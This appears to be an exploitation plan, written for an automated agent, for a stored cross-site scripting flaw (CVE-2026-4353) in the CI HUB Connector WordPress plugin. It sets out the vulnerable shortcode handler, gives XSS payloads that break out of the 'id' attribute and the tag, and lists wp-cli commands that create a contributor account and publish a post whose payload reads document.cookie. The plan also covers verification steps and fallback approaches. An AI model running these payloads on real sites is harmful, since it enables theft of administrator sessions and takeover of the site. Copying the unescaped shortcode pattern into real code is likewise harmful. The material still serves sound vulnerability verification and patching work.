CI HUB Connector <= 1.2.106 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode Attribute

This research plan outlines the steps to verify and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the CI HUB Connector plugin (CVE-2026-4353).

1. Vulnerability Summary

The CI HUB Connector plugin (up to version 1.2.106) registers a shortcode named cihub_metadata. This shortcode accepts an id attribute. When the shortcode is processed, the value of the id attribute is rendered in the HTML output without sufficient sanitization (using sanitize_text_field or similar) or context-aware output escaping (using esc_attr or esc_html).

Because contributors and higher-level users can use shortcodes in post content, an attacker can store a malicious payload in a post. The script executes whenever any user, including an Administrator, views the post.

2. Attack Vector Analysis

• Shortcode: [cihub_metadata]
• Vulnerable Attribute: id
• Authentication Level: Contributor+ (Authenticated)
• Injection Point: Post or Page content.
• Execution Point: Frontend or Backend view of the post/page where the shortcode is rendered.

3. Code Flow (Inferred)

1. Registration: The plugin likely registers the shortcode in an initialization hook:

   add_shortcode('cihub_metadata', 'cihub_metadata_shortcode_callback');
   

2. Processing: The callback function extracts attributes:

   function cihub_metadata_shortcode_callback($atts) {
       $a = shortcode_atts(array('id' => ''), $atts);
       $id = $a['id']; // Missing sanitization here
       // Sink: The 'id' is placed into an HTML attribute or tag without escaping
       return '<div id="' . $id . '">...</div>'; 
   }
   

3. Output: When a user visits the post, WordPress calls the shortcode handler, and the raw payload is echoed into the page source.

4. Nonce Acquisition Strategy

This vulnerability does not involve a custom AJAX or REST API endpoint that requires a specific plugin nonce for exploitation. Instead, the "injection" occurs through the standard WordPress post-creation mechanism.

• For the automated agent: If creating the post via the UI, the agent will need to navigate to wp-admin/post-new.php, which involves standard WordPress CSRF protection (nonces).
• Simplification: The most efficient way for the agent to set up the exploit is using wp-cli to create the post as a Contributor, bypassing the need for browser-based nonce handling during the injection phase.

5. Exploitation Strategy

The goal is to demonstrate that a Contributor user can execute JavaScript in the context of an Administrator.

Step 1: Create a Contributor User
Use wp-cli to create a user with the contributor role.

Step 2: Inject the Malicious Shortcode
Create a new post as the contributor containing the XSS payload within the cihub_metadata shortcode.

Payloads to test:

1. Attribute Breakout (Most likely): [cihub_metadata id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"']
2. Tag Breakout: [cihub_metadata id='"><script>alert(window.origin)</script>']

Step 3: Trigger the XSS
Navigate to the newly created post's URL as an Administrator.

6. Test Data Setup

1. Install Plugin: Ensure ci-hub-connector version <= 1.2.106 is active.
2. Create User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Create Post:

   wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="Service Status" --post_content='Check out the metadata: [cihub_metadata id="\"><script>confirm(document.cookie)</script>"]'
   

7. Expected Results

• When viewing the post frontend, the HTML source should contain the raw <script> tag or the injected event handler.
• The browser should execute the confirm() or alert() function, displaying the administrator's cookies or domain.
• Source Code Inspection:

  <!-- If vulnerable to tag breakout -->
  <div id=""><script>confirm(document.cookie)</script>">...</div>
  

8. Verification Steps

1. Check HTML Output:
   Use the http_request tool to fetch the post URL and search for the unescaped payload:

   # Get the URL of the last created post
   POST_URL=$(wp post list --post_type=post --format=ids | head -n 1 | xargs wp post get --field=guid)
   # Fetch content (as unauthenticated or admin)
   # Search for "<script>confirm"
   

2. Verify via Browser:
   Use browser_navigate(POST_URL) and check for the dialog or console logs.

9. Alternative Approaches

If the id attribute is sanitized with sanitize_title but still rendered inside an attribute, try a "style" injection or a "javascript:" protocol if the sink is an href.

If the plugin uses a different attribute name for the ID (e.g., cid or metadata_id), search the codebase for add_shortcode to confirm the exact attribute keys:

grep -r "add_shortcode" /var/www/html/wp-content/plugins/ci-hub-connector/

If the shortcode requires specific CI HUB settings to be configured before it renders anything, the agent may need to mock those settings using wp option update.